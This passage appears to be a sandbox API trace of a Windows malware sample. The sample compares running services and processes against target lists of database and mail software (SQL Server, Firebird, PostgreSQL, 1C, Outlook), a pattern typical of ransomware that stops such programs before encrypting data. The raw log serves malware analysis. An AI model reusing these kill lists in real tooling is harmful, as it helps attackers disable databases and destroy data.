lpString2="ShellHWDetection") returned 1 [0224.415] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0224.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0224.415] lstrlenW (lpString="Spooler") returned 7 [0224.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0224.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0224.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0224.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0224.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0224.415] lstrlenW (lpString="sppsvc") returned 6 [0224.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0224.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0224.415] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0224.415] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0224.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0224.415] lstrlenW (lpString="swprv") returned 5 [0224.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0224.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0224.415] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0224.415] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0224.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0224.416] lstrlenW (lpString="SysMain") returned 7 [0224.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0224.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0224.416] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0224.416] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0224.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0224.416] lstrlenW (lpString="Themes") returned 6 [0224.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0224.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0224.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0224.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0224.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0224.416] lstrlenW (lpString="TrkWks") returned 6 [0224.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0224.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0224.416] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0224.416] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0224.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0224.416] lstrlenW (lpString="UxSms") returned 5 [0224.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0224.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0224.416] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0224.416] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0224.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0224.416] lstrlenW (lpString="VSS") returned 3 [0224.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0224.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0224.417] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0224.417] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0224.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0224.417] lstrlenW (lpString="WdiServiceHost") returned 14 [0224.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0224.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0224.417] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0224.417] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0224.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0224.417] lstrlenW (lpString="WdiSystemHost") returned 13 [0224.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0224.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0224.417] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0224.417] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0224.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0224.417] lstrlenW (lpString="WinDefend") returned 9 [0224.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0224.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0224.417] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0224.417] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0224.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0224.417] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0224.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0224.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0224.417] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0224.417] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0224.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0224.418] lstrlenW (lpString="Winmgmt") returned 7 [0224.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0224.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0224.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0224.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0224.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0224.418] lstrlenW (lpString="wscsvc") returned 6 [0224.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0224.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0224.418] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0224.418] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0224.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0224.418] lstrlenW (lpString="wuauserv") returned 8 [0224.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0224.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0224.418] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0224.418] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0224.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0224.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0224.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0224.421] Process32FirstW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.421] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.422] lstrlenW (lpString="System") returned 6 [0224.422] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0224.422] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0224.422] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0224.422] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0224.422] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.423] lstrlenW (lpString="smss.exe") returned 8 [0224.423] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.424] lstrlenW (lpString="csrss.exe") returned 9 [0224.424] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.425] lstrlenW (lpString="wininit.exe") returned 11 [0224.425] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.426] lstrlenW (lpString="csrss.exe") returned 9 [0224.426] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.427] lstrlenW (lpString="winlogon.exe") returned 12 [0224.427] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.428] lstrlenW (lpString="services.exe") returned 12 [0224.428] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.429] lstrlenW (lpString="lsass.exe") returned 9 [0224.429] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0224.430] lstrlenW (lpString="lsm.exe") returned 7 [0224.430] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.431] lstrlenW (lpString="svchost.exe") returned 11 [0224.431] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.431] lstrlenW (lpString="svchost.exe") returned 11 [0224.432] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.432] lstrlenW (lpString="svchost.exe") returned 11 [0224.432] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.433] lstrlenW (lpString="svchost.exe") returned 11 [0224.433] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.434] lstrlenW (lpString="svchost.exe") returned 11 [0224.434] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.435] lstrlenW (lpString="audiodg.exe") returned 11 [0224.435] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.436] lstrlenW (lpString="svchost.exe") returned 11 [0224.436] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.437] lstrlenW (lpString="svchost.exe") returned 11 [0224.437] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.438] lstrlenW (lpString="dwm.exe") returned 7 [0224.438] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.621] lstrlenW (lpString="explorer.exe") returned 12 [0224.621] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.622] lstrlenW (lpString="spoolsv.exe") returned 11 [0224.622] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0224.623] lstrlenW (lpString="taskhost.exe") returned 12 [0224.623] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.624] lstrlenW (lpString="svchost.exe") returned 11 [0224.624] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0224.625] lstrlenW (lpString="taskeng.exe") returned 11 [0224.625] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0224.641] lstrlenW (lpString="taskhost.exe") returned 12 [0224.642] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0224.642] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0224.642] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0224.643] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0224.643] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0224.644] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0224.644] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0224.645] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0224.645] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0224.646] lstrlenW (lpString="always_winds.exe") returned 16 [0224.646] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0224.647] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0224.647] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0224.648] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0224.648] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0224.649] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0224.649] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0224.650] lstrlenW (lpString="alienwed.exe") returned 12 [0224.650] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0224.651] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0224.651] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0224.654] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0224.654] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0224.655] lstrlenW (lpString="mp beginners.exe") returned 16 [0224.655] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0224.656] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0224.656] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0224.657] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0224.657] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0224.657] lstrlenW (lpString="harassment.exe") returned 14 [0224.658] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0224.658] lstrlenW (lpString="francis-communication.exe") returned 25 [0224.658] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0224.659] lstrlenW (lpString="gccinformational.exe") returned 20 [0224.659] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0224.661] lstrlenW (lpString="diploma.exe") returned 11 [0224.661] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0224.661] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0224.661] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.662] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0224.662] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.664] lstrlenW (lpString="svchost.exe") returned 11 [0224.664] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0224.665] lstrlenW (lpString="sppsvc.exe") returned 10 [0224.665] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.666] lstrlenW (lpString="svchost.exe") returned 11 [0224.666] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0224.667] lstrlenW (lpString="qnuriy.exe") returned 10 [0224.667] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0224.667] lstrlenW (lpString="cmd.exe") returned 7 [0224.668] Process32NextW (in: hSnapshot=0x20c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 